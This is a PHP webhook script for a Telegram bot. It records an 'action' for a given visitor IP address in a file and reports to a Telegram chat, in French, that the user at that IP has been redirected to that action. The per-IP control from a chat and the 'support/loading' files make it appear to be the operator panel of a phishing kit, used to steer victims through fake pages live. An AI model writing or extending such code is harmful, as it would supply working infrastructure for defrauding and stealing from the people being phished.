<?php

define('SECURE_CONTEXT', true);
require_once __DIR__ . '/functions.php';
require_once __DIR__ . '/../config.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $input = file_get_contents("php://input");
    $data = json_decode($input, true);

    if (!is_array($data) || !isset($data['callback_query'])) {
        http_response_code(204);
        exit();
    }

    $cb = $data['callback_query'];
    $cbId = $cb['id'] ?? '';
    $msg = $cb['message']['message_id'] ?? 0;
    $payload = $cb['data'] ?? '';

    if (!$cbId || !$msg || !str_contains($payload, '=')) {
        http_response_code(400);
        exit('Malformed callback');
    }

    [$action, $ip] = explode('=', $payload, 2);
    $action = strtolower(trim(preg_replace('/[^a-z_]/', '', $action)));
    $ip = normalize_ipv4_mapped(trim($ip));

    if ($action === '' || !filter_var($ip, FILTER_VALIDATE_IP)) {
        http_response_code(400);
        exit('Invalid IP or action');
    }

    $logFile = __DIR__ . '/../support/loading/ips_processed.log';
    $logKey = md5("{$msg}:{$ip}:{$action}");
    $now = time();
    $already = false;

    if (file_exists($logFile)) {
        $lines = file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        foreach ($lines as $line) {
            [$key, $ts] = explode('|', $line . '|', 2);
            if ($key === $logKey && $now - (int)$ts < 1800) {
                $already = true;
                break;
            }
        }
    }

    if (!$already) {
        file_put_contents($logFile, "{$logKey}|{$now}\n", FILE_APPEND | LOCK_EX);

        if (rand(1, 10) === 1) {
            $fresh = array_filter($lines ?? [], function ($line) use ($now) {
                [$k, $ts] = explode('|', $line . '|', 2);
                return $now - (int)$ts < 1800;
            });
            file_put_contents($logFile, implode("\n", $fresh) . "\n", LOCK_EX);
        }

        write_ip(__DIR__ . '/../support/loading/ips.txt', $ip, $action);

        $msgClean = htmlspecialchars($action, ENT_QUOTES, 'UTF-8');
        $ipClean = htmlspecialchars($ip, ENT_QUOTES, 'UTF-8');
        sendMessage(
            $CONFIG['chat_id'],
            "🧪 ➟ L'utilisateur <b>{$ipClean}</b> a été redirigé vers <b><i>{$msgClean}</i></b> avec succès",
            null,
            (int)$msg
        );
    }

    @file_get_contents("https://api.telegram.org/bot" . urlencode($CONFIG['bot_token']) . "/answerCallbackQuery?callback_query_id=" . urlencode($cbId));

    http_response_code(200);
    exit('OK');
}

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $action = null;
    $ip = null;

    foreach ($_GET as $key => $value) {
        if (filter_var($value, FILTER_VALIDATE_IP)) {
            $action = $key;
            $ip = $value;
            break;
        }
    }

    if (!$action || !$ip) {
        http_response_code(400);
        exit('Missing or invalid GET parameters');
    }

    $ip = normalize_ipv4_mapped(trim((string) $ip));
    $actionKey = strtolower(trim(preg_replace('/[^a-z_]/', '', (string) $action)));

    if ($actionKey === '' || !filter_var($ip, FILTER_VALIDATE_IP)) {
        http_response_code(400);
        exit('Missing or invalid GET parameters');
    }

    $actionSanitized = htmlspecialchars($actionKey, ENT_QUOTES, 'UTF-8');
    $ipSanitized = htmlspecialchars($ip, ENT_QUOTES, 'UTF-8');

    $logFile = __DIR__ . '/../support/loading/ips_processed.log';
    $messageId = 0;
    $logKey = md5($messageId . ':' . $ip . ':' . $actionKey);

    $ttl = 5;
    $alreadyProcessed = false;
    $lines = [];

    if (file_exists($logFile)) {
        $lines = file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        $now = time();
        foreach ($lines as $line) {
            [$k, $ts] = explode('|', $line . '|', 2);
            if ($k === $logKey && ($now - (int)$ts) <= $ttl) {
                $alreadyProcessed = true;
                break;
            }
        }
    }

    if ($alreadyProcessed) {
        http_response_code(200);
        exit('Already processed recently');
    }

    file_put_contents($logFile, $logKey . '|' . time() . PHP_EOL, FILE_APPEND | LOCK_EX);

    if (rand(1, 10) === 1) {
        $keep = [];
        $now = time();
        foreach ($lines as $line) {
            [$k, $ts] = explode('|', $line . '|', 2);
            if ($now - (int)$ts <= $ttl) $keep[] = $line;
        }
        
        $keep[] = $logKey . '|' . time();
        file_put_contents($logFile, implode(PHP_EOL, $keep) . PHP_EOL, LOCK_EX);
    }

    $file = __DIR__ . '/../support/loading/ips.txt';
    write_ip($file, $ip, $actionKey);

    sendMessage(
        $CONFIG['chat_id'],
        "🧪 ➟ L'utilisateur <b>{$ipSanitized}</b> a été redirigé vers <b><i>{$actionSanitized}</i></b> avec succès",
        null,
        $messageId
    );

    http_response_code(200);
    exit('OK');
}


http_response_code(204);
exit();
